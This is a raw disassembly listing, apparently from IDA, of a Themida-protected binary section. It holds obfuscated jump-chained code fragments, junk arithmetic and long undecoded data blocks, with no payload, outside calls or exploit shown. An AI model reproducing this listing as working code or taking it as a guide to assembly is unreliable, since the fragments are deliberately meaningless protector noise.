0FFA05AE9h db 0FFh ; --------------------------------------------------------------------------- loc_547AC5: ; CODE XREF: Themida_:00543E37j pop esp mov [esp], edx mov edx, 26A31A82h add edx, 35230ABh push 0FD8h jmp loc_552DE0 ; --------------------------------------------------------------------------- dw 0E3C1h dd 4EC8105h, 89000000h, 9EBA2414h, 29844F26h, 34B4E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547AF6: ; CODE XREF: Themida_:00547E9Aj not ebp xchg ebp, esi push edi mov edi, 4DD52A9Fh add esi, edi pop edi add esi, 59477B04h shr esi, 2 dec esi jmp loc_554876 ; --------------------------------------------------------------------------- dw 0CA29h dd 0A9F28159h, 895DE991h, 0C7815AD1h, 359441C6h, 0BCE9CF01h dd 5F00003Ch, 7E4CD81h, 0F5810D7Ch, 0A6AB3E4h, 2C8BEA09h dd 4C48324h, 1717EA81h, 0D02909A7h, 5A2434FFh, 51E38953h dd 4B9h, 0BEC38100h, 143F958h, 0BEEB81CBh, 5943F958h, 4C381h dd 1C330000h, 241C3124h, 0E9241C33h, 0FFFFCBA4h, 4EC81h dd 0C890000h, 66A5B124h, 80000068h, 0E9E0242Ch, 6061h ; --------------------------------------------------------------------------- loc_547B90: ; CODE XREF: Themida_:00556756j and esi, eax pop eax add esi, 28C5ED00h and eax, esi pop esi jmp loc_543DBE ; --------------------------------------------------------------------------- aFpsg db 'fPé£',7,0 align 4 dd 0FF9F72E9h, 4C481FFh, 1000000h, 60CBE9D3h, 875E0000h dd 248B241Ch, 0E8C3E924h, 8B660000h, 0C4812414h, 2, 497D6866h dd 240C8966h, 4DB068h, 24348900h, 5A686657h, 0E95F666Ch dd 0AC06h, 52575D58h, 4BAh, 1A0CE900h, 0EB830000h, 241C8704h dd 241C895Ch, 2E35E956h, 3C8B0000h, 0BCE95524h db 9, 2 dup(0) byte_547C13 db 66h ; DATA XREF: Themida_:00541AA0o dd 0E9240C8Bh, 295h dword_547C1C dd 66EB68h, 24348900h, 0BEh, 0A2E95300h, 330000E0h, 0FFE92404h ; DATA XREF: Themida_:005418D0o db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C37: ; CODE XREF: Themida_:0054E15Ej add ecx, 3DED8799h add eax, ecx jmp loc_554662 ; --------------------------------------------------------------------------- dd 4BA52h, 0CCE90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547C4F: ; CODE XREF: Themida_:00544918j add ebp, 4 push esi mov esi, 79534D3Fh push esi not dword ptr [esp] pop esi sub esi, 79822037h sub esi, 0D2A9285h jmp loc_550D97 ; --------------------------------------------------------------------------- db 0F6h, 0DEh, 80h dd 0C5E9D9F6h, 5900009Ah, 15DE901h, 0F2E981C1h, 587D1432h dd 31240C33h, 59E9240Ch, 8BFFFFD3h, 0BB532424h, 4, 23B9C281h dd 0DA294B03h, 4DBA5253h, 0E915E21Dh, 0D069h ; --------------------------------------------------------------------------- loc_547CB0: ; CODE XREF: Themida_:005454ABj push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_546C23 ; --------------------------------------------------------------------------- loc_547CBE: ; CODE XREF: Themida_:005494EBj push 6D18h mov [esp], ebx push ecx jmp loc_55070C ; --------------------------------------------------------------------------- loc_547CCC: ; CODE XREF: Themida_:00555379j mov ebx, ecx jmp loc_54D434 ; --------------------------------------------------------------------------- loc_547CD3: ; CODE XREF: Themida_:0054F4F0j shl ecx, 4 xor ecx, 9C727220h and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_54F1C1 ; --------------------------------------------------------------------------- db 2Ch, 0A6h, 28h dd 1298E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547CF2: ; CODE XREF: Themida_:0055646Dj push ecx mov ecx, 66B76281h jmp loc_5532CA ; --------------------------------------------------------------------------- db 81h, 0E2h, 0CFh dd 0C172D249h, 0EAC106E2h, 83DAF708h, 3C8904ECh, 408EE924h dd 685E0000h, 5551h, 71F3E9h, 24048100h, 4, 81240C8Bh dd 4C4h, 4C18100h, 0E9000000h, 0FFFFC4D9h, 0E9240489h dd 0B349h, 550B850h, 84E979C0h, 0BA0000A6h, 357F43D4h dd 505AD129h, 8A0657B8h, 3C503543h, 0E9814F4Ah, 6A3A4E67h dd 0C181C129h, 6A3A4E67h, 241C8B58h, 5504C483h, 2BDh, 0C757E900h dd 0FF52FFFFh, 5A042474h, 5C24048Fh, 9C2424D2h, 0FF9D8AE9h dd 805859FFh, 0EC836FEBh, 24148904h, 0D02863B2h, 14B5515Ah dd 0ED5FE9h, 24148900h, 8434E9h db 0 ; --------------------------------------------------------------------------- loc_547DB5: ; CODE XREF: Themida_:005480B8j mov [esp], eax mov eax, 6FC519C9h add eax, 0A90E31C0h jmp loc_54F470 ; --------------------------------------------------------------------------- loc_547DC7: ; CODE XREF: Themida_:00549B04j shl ecx, 2 not ecx push edi jmp loc_555CD9 ; --------------------------------------------------------------------------- dw 8966h dd 5E682414h, 8900003Ch, 0E9532404h, 0CD47h, 0FF9D36E9h dd 0F0E581FFh, 68710E10h, 0 dd 5D242C29h, 4EC81h, 61E90000h, 8BFFFFE1h, 0C4832404h dd 1F1FE904h, 0EC830000h, 24348904h, 0C96F86BEh, 0E6EE8141h dd 1F41D1Eh, 0CAE95EF5h, 5D0000D1h, 0E4C5E9h, 0E3895300h dd 4C381h, 0C3830000h, 241C8704h, 0C80FE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547E42: ; CODE XREF: Themida_:0054F235j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_54AA32 ; --------------------------------------------------------------------------- loc_547E50: ; CODE XREF: Themida_:0054E72Fj mov eax, [esp] add esp, 4 push 3CC2h mov [esp], esi push 5E07h mov [esp], esp jmp loc_552215 ; --------------------------------------------------------------------------- db 81h dd 0C41F44F7h, 8C78134h, 3196C7F1h, 0C3815FFBh, 0F63BFB92h dd 8305E3C1h, 0E3D101EBh, 8102EBC1h, 313BC2E3h, 5AF3E91Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547E96: ; CODE XREF: Themida_:00554B59j xor ebp, esi xor esi, ebp jmp loc_547AF6 ; --------------------------------------------------------------------------- loc_547E9F: ; CODE XREF: Themida_:00544EAAj mov esp, [esp] or edx, eax shl edx, 1 sub esp, 4 jmp loc_54EC5B ; --------------------------------------------------------------------------- db 68h, 72h, 3 dd 3C890000h, 685F5424h, 3928h, 0BB241C89h, 486F7033h dd 5421B951h, 0BB531AE9h, 471B0191h, 98E9D931h, 31000001h dd 0EE295FFDh, 81242C8Bh, 4C4h, 0BA525300h, 29593555h dd 995EDFBBh, 5AD3293Fh, 88763405h, 51D82932h, 0A673E9h db 0 ; --------------------------------------------------------------------------- loc_547F05: ; CODE XREF: Themida_:00544ABEj mov ebx, 1CC43749h push eax push edi push 0CEF425Ah mov edi, [esp] jmp loc_546435 ; --------------------------------------------------------------------------- loc_547F19: ; CODE XREF: Themida_:00551CCEj mov esp, [esp] jmp loc_5463E3 ; --------------------------------------------------------------------------- byte_547F21 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:00541888o dd 18D268h, 241C8900h, 7BE95B54h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547F33: ; CODE XREF: Themida_:0055088Ej mov ebp, esp push eax mov eax, 107A7166h jmp loc_544666 ; --------------------------------------------------------------------------- loc_547F40: ; CODE XREF: Themida_:00551B60j push ebx mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5523B1 ; --------------------------------------------------------------------------- loc_547F5B: ; CODE XREF: Themida_:0054415Cj sub ebx, 0E4C16ADh not ebx jmp loc_54758E ; --------------------------------------------------------------------------- dd 0E6242C81h, 8B0C9E19h, 0C481242Ch, 4, 1AE3B850h, 35484F98h dd 247E73E6h, 1A6EE948h, 525B0000h, 2F3E8DBAh, 4E2C176h dd 8107EAC1h, 8B48A5C2h, 0C0E2817Fh, 81624053h, 2B5728E2h dd 0EB68553Ah, 5D1CCD28h, 7D56CD81h, 6850736Fh, 1, 0D767E9h db 0 ; --------------------------------------------------------------------------- loc_547FC1: ; CODE XREF: Themida_:005506FFj sub al, 72h jmp loc_550CDE ; --------------------------------------------------------------------------- dd 243C895Ch, 4E0EE9h db 0 ; --------------------------------------------------------------------------- loc_547FD1: ; CODE XREF: Themida_:00541D50j shr ecx, 2 inc ecx dec ecx jmp loc_54FDAE ; --------------------------------------------------------------------------- loc_547FDB: ; CODE XREF: Themida_:0054DA53j mov edi, esp jmp loc_54BB5C ; --------------------------------------------------------------------------- loc_547FE2: ; CODE XREF: Themida_:00549C60j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_54CF53 ; --------------------------------------------------------------------------- dw 1C89h dd 52E38924h, 0C0370CBAh, 0D3E28174h, 55752241h, 0FFAD7DE9h db 0FFh ; --------------------------------------------------------------------------- loc_548011: ; CODE XREF: Themida_:00552E80j add esi, 402813F0h sub esi, 7C2E0B98h jmp loc_542F11 ; --------------------------------------------------------------------------- dw 481h dd 424h, 2434FF00h, 4C4835Bh, 4C381h, 74E90000h, 0FFFFFFD3h dd 3C8B2434h, 4C48324h, 4C481h, 0C1830000h, 240C3302h dd 33240C31h, 8BE9240Ch, 0C1FFFFB6h, 0F7E903EDh, 0BD0000E9h dd 1A902322h, 0DA3EE9h db 0 ; --------------------------------------------------------------------------- loc_54806D: ; CODE XREF: Themida_:0054BCB8j pop ebx jmp loc_54B8F1 ; --------------------------------------------------------------------------- db 5Bh dd 5159CB01h, 233F38B9h, 3511E940h, 815E0000h, 4C2h, 24148700h dd 2C87685Ch, 0C890000h, 0DDEFE924h, 0E95F0000h, 5BDAh dd 5C240C87h, 53241489h, 88F3B151h, 0CE959CBh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5480B3: ; CODE XREF: Themida_:00543748j push 347Dh jmp loc_547DB5 ; --------------------------------------------------------------------------- byte_5480BD db 8Bh, 4, 24h ; DATA XREF: Themida_:005419F4o dd 231568h, 24348900h, 0EC81E689h, 4, 0BF243C89h, 4, 75DAC681h dd 0C6813F69h, 379F15C0h, 37B6C681h, 0FE01648Dh, 37B6EE81h dd 0EE81648Dh, 379F15C0h, 0D1D2E9h, 0EFED8100h, 510EBD31h dd 55632AB9h, 81D1F749h, 184C3C1h, 0E9CD014Ah, 0FFFFCCF2h dd 0FF9A02E9h db 0FFh byte_54811D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00541A98o dd 0EE95124h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548127: ; CODE XREF: Themida_:0054BF17j xor ebx, 1002006h mov edi, ebx jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_548134: ; CODE XREF: Themida_:0055550Cj push edi mov edi, 47460C50h neg edi jmp loc_549621 ; --------------------------------------------------------------------------- db 0B9h, 49h, 10h dd 0E1C1265Fh, 0DB3EE908h, 0C781FFFFh, 4, 4EC81h, 34890000h dd 52C6BE24h, 0B951527Dh, 79243F22h, 0B45E9h, 241C8B00h dd 4C481h, 0E9550000h, 0A390h ; --------------------------------------------------------------------------- loc_54817C: ; CODE XREF: Themida_:0054C312j add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 2 xchg ebx, [esp] jmp loc_5465A8 ; --------------------------------------------------------------------------- aVhd2pSbo db 'VhD`2P^é¡O',0 dd 0C3815B00h, 4, 4BD55h, 0C3810000h, 4BD34C0Dh, 0BE56EB01h dd 4BD34C0Dh, 92E9F329h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5481C7: ; CODE XREF: Themida_:005525B9j push 5ABBh mov [esp], ebp jmp loc_545231 ; --------------------------------------------------------------------------- dd 8704C383h, 73E9241Ch, 68000054h, 43C3h, 0FFE79EE9h db 0FFh byte_5481E9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005418A8o dd 0BE44E9h, 0E9DE0100h, 0D96Bh, 0CBD3E95Ch, 81590000h dd 0BE4C88F1h, 1EC1815Fh, 515E261Dh, 0A240481h, 0E9220E01h dd 0FFFFC5B4h, 0AE7AE6BDh, 6415E920h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548222: ; CODE XREF: Themida_:00550571j pop edi jmp loc_54C3FE ; --------------------------------------------------------------------------- dd 8B240C33h, 0F662424h, 9C2404BBh, 0FF98E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_548239: ; CODE XREF: Themida_:0054466Ej pop eax add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_55662A ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 6186E9h, 20B85000h, 2D0F1B26h, 19E82A4Fh dd 23377505h, 992D484Fh, 0F75C403Bh, 0DDEB2DD0h, 0C101147Dh dd 0E9F10158h, 4E9Fh, 60B4BA52h, 0EAC161A1h, 81DAF703h dd 0D07574C2h, 8BD1015Dh, 0C4812414h, 4, 4C1835Eh, 31240C33h dd 0C33240Ch, 24248B24h, 0FFED50E9h, 240C87FFh, 5DE8315Ch dd 5157C331h, 39AC68h, 0E0F5E900h, 0EB81FFFFh, 46C54E31h dd 0FFDFE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5482D1: ; CODE XREF: Themida_:0055332Bj mov ecx, esp jmp loc_549F5E ; --------------------------------------------------------------------------- dd 68241489h, 609Ah, 66240C89h, 5249B753h, 2397E9h db 0 ; --------------------------------------------------------------------------- loc_5482ED: ; CODE XREF: Themida_:005542D5j xor edi, 779230DCh jmp loc_54C490 ; --------------------------------------------------------------------------- loc_5482F8: ; CODE XREF: Themida_:00556AA8j mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_54C997 ; --------------------------------------------------------------------------- dd 5E54565Eh, 4C681h, 0C6810000h, 4, 5C243487h, 0FFC264E9h dd 0D1F75FFFh, 3ADDC181h, 0F7E90193h, 58000098h, 82E7E9h db 0 ; --------------------------------------------------------------------------- loc_548335: ; CODE XREF: Themida_:005494F3j add eax, 316E1F68h jmp loc_54BAA2 ; --------------------------------------------------------------------------- loc_54833F: ; CODE XREF: Themida_:00541EC8j mov esi, 0FCFDDADCh xor eax, esi jmp loc_550095 ; --------------------------------------------------------------------------- db 66h dd 66091368h, 52240C89h, 8850EBB2h, 58E188D4h, 5624148Bh dd 0C681E689h, 4, 0D849E9h, 97ADE900h, 0EE09FFFFh, 0B1BF575Dh dd 1C537F4h, 67055FFEh, 171447Ch, 67BD55F0h, 2971447Ch dd 348B5DE8h, 4C48124h, 1000000h, 4EC81D8h, 89000000h dd 6CB9240Ch, 0E9452B6Ch, 51B7h ; --------------------------------------------------------------------------- loc_5483AC: ; CODE XREF: Themida_:0054B1D4j not ebp not ebp xor ebp, 3B2BDE9Fh add edi, ebp pop ebp xor ebx, edi jmp loc_5459FE ; --------------------------------------------------------------------------- dd 2474FF55h, 242C8B04h, 0E904C483h, 0FFFFA27Dh ; --------------------------------------------------------------------------- loc_5483D0: ; CODE XREF: Themida_:005559D7j add esp, 4 sub eax, ebp add eax, 6CAA5790h push dword ptr [esp] pop ebp push 3E74h mov [esp], edi mov edi, esp add edi, 4 jmp loc_542474 ; --------------------------------------------------------------------------- aISjm db 'Áë',8,'éJ¬',0 dw 3100h dd 6EF6E9DFh, 7CBE0000h, 8113942Ch, 0A09D8DEEh, 53182D13h dd 3AE925E3h, 5A000017h, 31243433h, 34332434h, 2A5FE924h dd 0C8B0000h, 4C48324h, 2C381h, 3BE90000h, 5BFFFFDCh, 9BAE9h dd 0E9CD0100h, 16A0h, 0ADF0E953h, 0CEFE0000h, 80A9C680h dd 0CE80E4E6h, 41EE8084h, 537BEE80h, 8851F388h, 59E888DDh dd 0D8F65A5Bh, 3408E8C0h, 0E95166C3h, 0FFFFA4B8h, 4245401h dd 0C6815E5Ah, 4, 2BF57h, 59680000h, 89000001h, 53E92404h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548493: ; CODE XREF: Themida_:0055505Cj mov esi, 580E3FE4h jmp loc_552E99 ; --------------------------------------------------------------------------- db 83h, 0C6h, 4 dd 31243433h, 34332434h, 24248B24h, 0FFD6F2E9h, 8BC500FFh dd 0C4832404h, 66E80004h, 0FFC28859h, 83582434h, 0D03004C4h dd 24148B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax jmp loc_551A90 ; --------------------------------------------------------------------------- loc_5484E2: ; CODE XREF: Themida_:00544D32j xchg edi, [esp] jmp loc_54FDDB ; --------------------------------------------------------------------------- dw 575Ch dd 4BFh, 8BF80100h, 5DE9243Ch db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5484FB: ; CODE XREF: Themida_:00543DB9j pop esi sub esi, 20D57203h mov ebp, esi pop esi mov eax, ebp push dword ptr [esp] jmp loc_54B1D9 ; --------------------------------------------------------------------------- aPirs4 db 'P‰àé4Ì',0 dw 8900h dd 4ABF243Ch, 0C1040149h, 77E904EFh db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548527: ; CODE XREF: Themida_:00544152j sub edx, eax pop eax mov esi, [esp] add esp, 4 jmp loc_54C88E ; --------------------------------------------------------------------------- aWvs8 db 'WVé8Ô',0 dw 5400h dd 0E924048Fh, 0E3A0h, 4DEEE81h, 0F101EF18h, 0F7C1815Eh dd 118FC48h, 0F7E981D1h, 5218FC48h, 1FB6BE56h, 0F28970EFh dd 930FE9h, 35E78100h, 0F7792C35h, 4EC81D7h, 89000000h dd 9AB9240Ch, 0E976C800h, 79DCh, 7F34F281h, 0DAF7727Dh dd 7768F281h, 61E9091Eh, 89000055h, 7A8168E5h, 8AE90000h dd 54000082h, 0D51DE959h, 0D7010000h, 0A46BE9h, 5F58B900h dd 0BD554ACCh, 1EDD539Bh, 415DE931h, 0F340C181h, 88E9ABEEh dd 89000031h, 4C581E5h, 81000000h, 4C5h, 2B26E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5485E2: ; CODE XREF: Themida_:00544A94j sub ebp, 4 jmp loc_54491D ; --------------------------------------------------------------------------- dw 8853h dd 0E9FE88C7h, 0C205h, 81FFEB83h, 86A51BF3h, 8BDD21DCh dd 0C483241Ch, 4EC8104h, 0E9000000h, 722Eh ; --------------------------------------------------------------------------- loc_548610: ; CODE XREF: Themida_:0054AAA4j xchg ebx, [esp] pop esp push ebx mov ebx, 2D452E11h add ebx, 5A735F51h add ebx, 0E784EF15h xor ebp, ebx pop ebx and eax, ebp jmp loc_541F9A ; --------------------------------------------------------------------------- dd 6D32B9B8h, 6E0C15Ah, 6840D8F7h, 5772h, 0E9243C89h, 38ACh dd 0D4DBF181h, 0EAE908C6h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548653: ; CODE XREF: Themida_:00554C16j xor [esp], ebp xor ebp, [esp] xor [esp], ebp pop ebp xchg ebp, ebx xor eax, ebx jmp loc_5509E0 ; --------------------------------------------------------------------------- loc_548666: ; CODE XREF: Themida_:0054DF0Dj or ecx, 15B71F11h dec ecx xor ecx, 15B7DF94h add eax, ecx pop ecx sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_54B196 ; --------------------------------------------------------------------------- loc_54868A: ; CODE XREF: Themida_:005536BAj add esp, 4 add dword ptr [ecx], 1 mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] loc_5486AB: ; CODE XREF: Themida_:0054FAD1j sub esp, 4 jmp loc_54CA46 ; --------------------------------------------------------------------------- loc_5486B6: ; CODE XREF: Themida_:00553BF7j pop ebp add edi, 55244B73h xor edi, 490917F8h sub esp, 4 mov [esp], edx mov edx, 3E9808FAh and edx, 3AEE4478h jmp loc_54E5F4 ; --------------------------------------------------------------------------- db 0E9h, 41h, 94h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5486DE: ; CODE XREF: Themida_:005509DBj add esi, edx pop edx add esi, eax sub esi, 67F5579Bh add esi, 7B0B67A7h pop eax xchg esi, [esp] jmp loc_5471A8 ; --------------------------------------------------------------------------- loc_5486F8: ; CODE XREF: Themida_:0054F45Fj pop ebx xor ecx, 642135h jmp loc_545C3C ; --------------------------------------------------------------------------- dd 6CE9CB29h, 8B000017h, 0C481241Ch, 4, 0FFFFBB53h, 0C681FFFFh dd 13D27A27h, 0EE81DE29h, 13D27A27h, 0E21AE95Bh, 2DB8FFFFh dd 1228D08h, 9773E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54873A: ; CODE XREF: Themida_:0054F92Aj push ebp jmp loc_54B881 ; --------------------------------------------------------------------------- dd 7252EB81h, 0FF667039h, 93D1E930h, 0EA81FFFFh, 0C32DA2FBh dd 24048152h, 82C60D4h, 0C8E9h, 242C8B00h, 0E904C483h dd 0FFFFF2B1h, 0A8E95058h, 8100002Bh, 4C4h, 390FE900h dd 0CDB90000h, 520FF51Dh, 0B909E9h db 0 ; --------------------------------------------------------------------------- loc_548789: ; CODE XREF: Themida_:00555FC0j xor edi, 687302Dh and eax, edi mov edi, [esp] add esp, 4 or eax, eax jz loc_554D9C push dword ptr [edi+28h] push dword ptr [esp] jmp loc_546D2A ; --------------------------------------------------------------------------- db 52h, 0BAh, 0CBh dd 2968FB6Bh, 0E9082454h, 0D34Ch, 52240C8Bh, 602DE9h db 0 ; --------------------------------------------------------------------------- loc_5487C5: ; CODE XREF: Themida_:0054ED10j mov cl, al pop eax jmp loc_54B5E8 ; --------------------------------------------------------------------------- loc_5487CD: ; CODE XREF: Themida_:00546C99j add ebx, 4 jmp loc_5431FC ; --------------------------------------------------------------------------- dd 0DB2DD0F7h, 48277773h, 88E9D0F7h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5487E7: ; CODE XREF: Themida_:00554522j push esi neg dword ptr [esp] pop esi jmp loc_549530 ; --------------------------------------------------------------------------- aFbZ4fbsGs db 'fɇ4fá&gé',27h,'¼',0 align 10h loc_548800: ; CODE XREF: Themida_:0054201Aj mov ebp, ecx pop ecx or esi, ebp mov ebp, [esp] add esp, 4 push edi jmp loc_543592 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 0EC830000h, 242C8904h, 0FFDF8FE9h dd 0EC835DFFh, 24348904h, 2F3FBD55h, 13BE28F1h, 29311D90h dd 5A75E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548842: ; CODE XREF: Themida_:00551D2Bj add [esp+4], edi jmp loc_54625F ; --------------------------------------------------------------------------- db 57h dd 0C155F1BFh, 285BE937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548856: ; CODE XREF: Themida_:00550B92j push ebp jmp loc_556553 ; --------------------------------------------------------------------------- aNsin db 'éˆ',0 ; DATA XREF: Themida_:00541894o align 2 loc_548862: ; CODE XREF: Themida_:0054A8DDj sub edi, 0F7580E06h sub ebp, edi pop edi jmp loc_54F989 ; --------------------------------------------------------------------------- dd 0E9243C87h, 650Ch ; --------------------------------------------------------------------------- loc_548878: ; CODE XREF: Themida_:00543513j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], esi push edx jmp loc_556379 ; --------------------------------------------------------------------------- loc_548891: ; CODE XREF: Themida_:0054FB6Bj push edx jmp loc_55313E ; --------------------------------------------------------------------------- loc_548897: ; CODE XREF: Themida_:00552669j add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54534F ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFA35Ah, 32B1C781h, 0FA892E77h, 0E9D0095Fh dd 699Ch ; --------------------------------------------------------------------------- loc_5488C0: ; CODE XREF: Themida_:00554458j add ecx, 593B5424h pop esi add ecx, 14F26F2Ch add ecx, 4E1132AFh push ebp push eax mov eax, 4D124786h neg eax push esi jmp loc_549657 ; --------------------------------------------------------------------------- dw 0B252h dd 5AD72841h, 8028C780h, 20E9C6C7h, 5FFFFFB4h, 4EE81h dd 34870000h, 24248B24h, 0E9240489h, 612h ; --------------------------------------------------------------------------- loc_548908: ; CODE XREF: Themida_:00542C65j add ebx, 7F07756Dh pop ebp jmp loc_55213E ; --------------------------------------------------------------------------- dd 0E8BB5352h, 0F765531Bh, 0EA2DE9D3h, 3433FFFFh, 24343124h dd 0E9243433h, 0FFFFB245h, 89243489h, 0C6D8E9E6h, 0EE83FFFFh dd 24348704h, 9957E95Ch db 2 dup(0FFh) word_548946 dw 8F66h ; DATA XREF: Themida_:0054197Co dd 91D1E902h, 565AFFFFh, 5D243481h, 5F071450h, 505DF781h dd 815E0714h, 2641B2C1h, 81F90111h, 2641B2E9h, 243C8B11h dd 0FFA1EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_548975: ; CODE XREF: Themida_:0054E781j add esp, 4 add esp, 4 add eax, 470110F2h push 6A8Fh mov [esp], ebp mov ebp, 23313073h push edi push ebp mov ebp, 47DA431Dh mov edi, ebp pop ebp push ebx mov ebx, 2CB84B14h sub edi, ebx pop ebx dec edi push 5145h mov [esp], eax push ecx mov ecx, 67524EE4h jmp loc_5452D6 ; --------------------------------------------------------------------------- db 68h dd 7CF1E61h, 77332D58h, 0DF354F89h, 50F89BB1h, 22243481h dd 5B38481Bh, 1B22F381h, 0F7583848h, 2EC381D3h, 81769869h dd 2F1640E3h, 0B5BF5743h, 8737697Eh, 87D5F7EFh, 8AEF81EFh dd 21621801h, 915FE9FBh, 3C8BFFFFh, 4C48324h, 5B2434FFh dd 0E904C483h, 79Ch ; --------------------------------------------------------------------------- loc_548A10: ; CODE XREF: Themida_:0054738Ej mov ebx, [esp] add esp, 4 pop edx push 2E28h mov [esp], eax jmp loc_541B1F ; --------------------------------------------------------------------------- dd 0B8240489h, 176251A6h, 5305E0C1h, 5B542DBBh, 0CDF38134h dd 0E9A4746Eh, 97Bh, 0D1C7B05h, 0E9C82924h, 0FFFFB9BAh dd 5F2434FFh, 4C481h, 53460000h, 2C60D5BBh, 5EBC10Bh, 6916CB81h dd 0F3810632h, 61FE47D0h, 665DC381h, 0C3817362h, 55007473h dd 8CE9DE31h, 87FFFFFCh, 0DAE9243Ch, 5F000023h, 0FFF9B0E9h db 0FFh off_548A8D dd offset dword_49005C+0AD0Ch ; DATA XREF: Themida_:00541A24o align 2 dw 1FE9h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A97: ; CODE XREF: Themida_:0054DC35j shl esi, 5 push ecx mov ecx, 8B3DEAC7h jmp loc_5471C1 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h aLS db '‹$$é¹',0Ah,0 align 10h loc_548AB0: ; CODE XREF: Themida_:00541D1Dj add esp, 4 popa popf jmp locret_55379A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF9E71E9h, 58C201FFh, 0FFD07CE9h, 68C5FEFFh, 0F63h dd 0FFC9AAE9h, 2ABE56FFh, 0E91BD864h, 3EA8h dword_548AE4 dd 16E953ACh ; DATA XREF: Themida_:00541928o db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548AEB: ; CODE XREF: Themida_:00542AB5j sub esp, 4 mov [esp], edi mov edi, 37757C45h jmp loc_55056F ; --------------------------------------------------------------------------- db 68h dd 3AD6h, 0CFBEE9h, 0BE565E00h, 55F258Fh, 5778E9h, 0E9D22C00h dd 0D23Dh, 3EDEF281h, 0D089A3E5h, 2DD0F75Ah, 444A0C3Bh dd 5240D0F7h, 0D91C51BAh, 0BD72E900h, 431FFFFh, 78E2E924h dd 68660000h, 89665572h, 0D4E9240Ch db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548B4B: ; CODE XREF: Themida_:0054BFEBj mov edi, [esp] add esp, 4 push ecx push esp pop ecx push 6ED4h mov [esp], ebx push 4562h mov [esp], eax mov eax, 71395C1Eh push esi jmp loc_54732B ; --------------------------------------------------------------------------- dw 8143h dd 0AF0B67F3h, 5BDE310Ch, 614DC781h, 0C7813723h, 1CAE3EBBh dd 5523C781h, 0F7010451h, 0FFD443E9h, 9EF81FFh, 8910D6B9h dd 0A7055FF8h, 351E9B0Ah, 24AE059Bh, 501C083h, 0B1E6E637h dd 3358C201h, 0B9E92414h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548BBB: ; CODE XREF: Themida_:005458FDj mov edi, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] or ebx, ebx jnz loc_551CA5 push ecx mov ecx, 20h jmp loc_54681B ; --------------------------------------------------------------------------- loc_548BE0: ; CODE XREF: Themida_:0054991Aj pop edx add al, 0EEh sub al, dh sub al, 0EEh add al, 0B0h pop edx jmp loc_5503C7 ; --------------------------------------------------------------------------- loc_548BEF: ; CODE XREF: Themida_:005549D5j pop esi add esp, 4 pop dword ptr [esp] pop esp sub esp, 4 mov [esp], esi jmp loc_551971 ; --------------------------------------------------------------------------- dd 620FCF81h, 0F78143C5h, 2A69159Bh, 99CC781h, 0C7817B42h dd 54A57E49h, 30CFCF81h, 0B8501D0Ch, 15D5E68Ah, 9FE9C731h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C33: ; CODE XREF: Themida_:00541F95j not ebp and ebp, 6C1736BEh push 36E5h mov [esp], ebx jmp loc_54B3F4 ; --------------------------------------------------------------------------- loc_548C48: ; CODE XREF: Themida_:0054D7E4j mov [esp], edi mov edi, 556619F5h xor edi, 556619F1h add ebx, 49711381h sub ebx, 4B711851h sub ebx, edi add ebx, 4B711851h sub ebx, 49711381h pop edi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_554EC4 ; --------------------------------------------------------------------------- db 55h dd 0FFC8F7E9h 